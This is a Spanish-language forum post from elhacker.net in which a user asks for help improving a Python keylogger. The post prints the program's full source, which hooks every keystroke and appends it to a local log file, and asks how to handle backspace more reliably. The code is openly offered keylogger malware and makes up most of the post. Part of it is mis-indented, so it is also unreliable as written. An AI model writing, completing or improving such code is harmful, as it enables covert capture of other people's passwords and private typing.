elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Mejorar el keylogger PYTHON
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mejorar el keylogger PYTHON  (Leído 1,839 veces)
botters

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Mejorar el keylogger PYTHON
« en: 13 Febrero 2019, 03:07 am »

Buenas noches, estoy estudiando un keylogger y he podido entender algunas cosas y modificar, pero tengo un problema y es que a veces me registraba todas las teclas pero le faltaban que si 2, y me di cuenta que era por el backspace, al tenerlo presionado borra todo el archivo, como podria ponerlo optimo? espero que me puedan ayudar

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "testando10.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):

        # Esta línea lee el caracter presionado
        key = MAP.get(event.name, event.name)
          if key in ["backspace"]:
                with open(FILE_NAME, 'rb+') as f:
                    f.seek(0,2)               
                    size=f.tell()               
                    f.truncate(size-1)   
        # Luego valido que dicho caracter no esté en la lista ["backspace","enter"]
        if key not in ["backspace","enter", "tab", "right shift", "caps lock", "shift", "right ctrl", "esc", "left windows", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9" ]:
          modifier = len(key) > 1

          # Capturar únicamente los modificadores cuando están siendo
          # presionados.
          if not modifier and event.event_type == "down":
              return
          # Evitar escribir múltiples veces la misma tecla si está
          # siendo presionada.
         
          if modifier:
              if event.event_type == "down":
                  if is_down.get(key, False):
                      return
                  else:
                      is_down[key] = True
              elif event.event_type == "up":
                  is_down[key] = False
              # Indicar si está siendo presionado.
              key = " [{} ({})] ".format(key, event.event_type)
          elif key == "\r":
              # Salto de línea.
              key = "\n"

          # Escribir la tecla al archivo de salida.
          output.write(key)
          # Forzar escritura.
          output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
if __name__ == "__main__":
    main()


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda sobre Python Keylogger « 1 2 »
Scripting
mastertux 15 9,407 Último mensaje 3 Abril 2011, 18:38 pm
por 08l00D
[Python] Kaley, Keylogger simple en Python
Scripting
Fyrox 0 7,182 Último mensaje 21 Septiembre 2011, 23:24 pm
por Fyrox
[Python] Simple Keylogger
Scripting
BigBear 0 4,062 Último mensaje 7 Octubre 2011, 01:38 am
por BigBear
BeeLogger|KEYLOGGER|PYTHON|
Hacking
d0r127 7 10,430 Último mensaje 4 Diciembre 2017, 06:38 am
por T1cxT4c
Problema con Keylogger en Python (No envía el log) « 1 2 »
Scripting
TheFerret 18 8,109 Último mensaje 7 Mayo 2019, 09:00 am
por Segadorfelix
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines